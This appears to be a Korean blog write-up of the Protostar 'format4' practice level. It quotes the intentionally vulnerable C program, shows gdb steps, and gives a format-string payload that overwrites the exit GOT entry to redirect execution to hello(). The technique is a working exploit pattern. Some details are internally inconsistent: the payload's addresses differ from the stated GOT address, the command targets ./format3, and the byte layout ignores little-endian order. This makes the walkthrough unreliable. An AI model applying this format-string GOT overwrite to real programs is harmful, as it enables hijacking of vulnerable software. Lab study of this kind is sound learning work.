프로토스타

[프로토스타] format4

-dP- 2019. 1. 23. 15:31

format4.c


#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void hello() { printf("code execution redirected! you win\n"); _exit(1); } void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printf(buffer); exit(1); } int main(int argc, char **argv) { vuln(); }


출처: http://liveoverflow.com/binary_hacking/protostar/format4.html



1. 문제 해결 및 분석



1-1. exploit할 위치 확인




vuln() 함수의 exit 부분을 hello() 함수로 변경해야 한다.




1-2. gdb ./format4






disas vuln으로 exit의 위치 파악




vuln+61 라인을 보면 exit@plt를 볼 수 있다.




즉, exit got 구해서 hello() 함수의 주소값으로 바꾸어야 한다.




vuln+61 라인 주소값을 





disas 0x80483ec




한다.




드래그된 부분이 exit got 부분이다.




exit got ; 0x8049724



1-3. print hello





print hello 혹




disas hello




hello ; 0x080484b4





결론적으로 exit got ; 0x8049724 -> hello ; 0x080484b4





변경하면 된다.




1-4. 코드 작성






우선 hello; 0x080484b4를 3부분으로 나눌 것이다.


08 / 0484 / b4


08 ; 0x8049724



0484; 0x8049725



b4 ; 0x8049727



payload는



echo $(python -c "print 'AAAA' + '\xf4\x96\x04\x08' +'BBBB' + '\xf5\x96\x04\x08' + 'CCCC'+ '\xf7\x96\x04\x08' + '%x.' * 11 + '%213x.%n.%271x.%n.%170x.%n.'") | ./format3





이걸 파이썬으로 응용하였다.




2. 분석



2-1. python format4.py





2-2. gdb 확인





gdb ./format4




disas vuln




b *vuln+61




r < payload








x/wx exit got 주소값




확인 결과 hello() 함수의 주소값이 들어갔음을 알 수 있다.




2-3. 결론





cat < payload | ./format4




성공!


참고 자료: https://www.inflearn.com/course/%ED%94%84%EB%A1%9C%ED%86%A0%EC%8A%A4%ED%83%80/


피드백 환영입니다!

'프로토스타' 카테고리의 다른 글

[프로토스타] heap1  (0) 2019.01.24
[프로토스타] heap0  (0) 2019.01.23
[프로토스타] format3  (0) 2019.01.23
[프로토스타] format2  (0) 2019.01.22
[프로토스타] format1  (0) 2019.01.22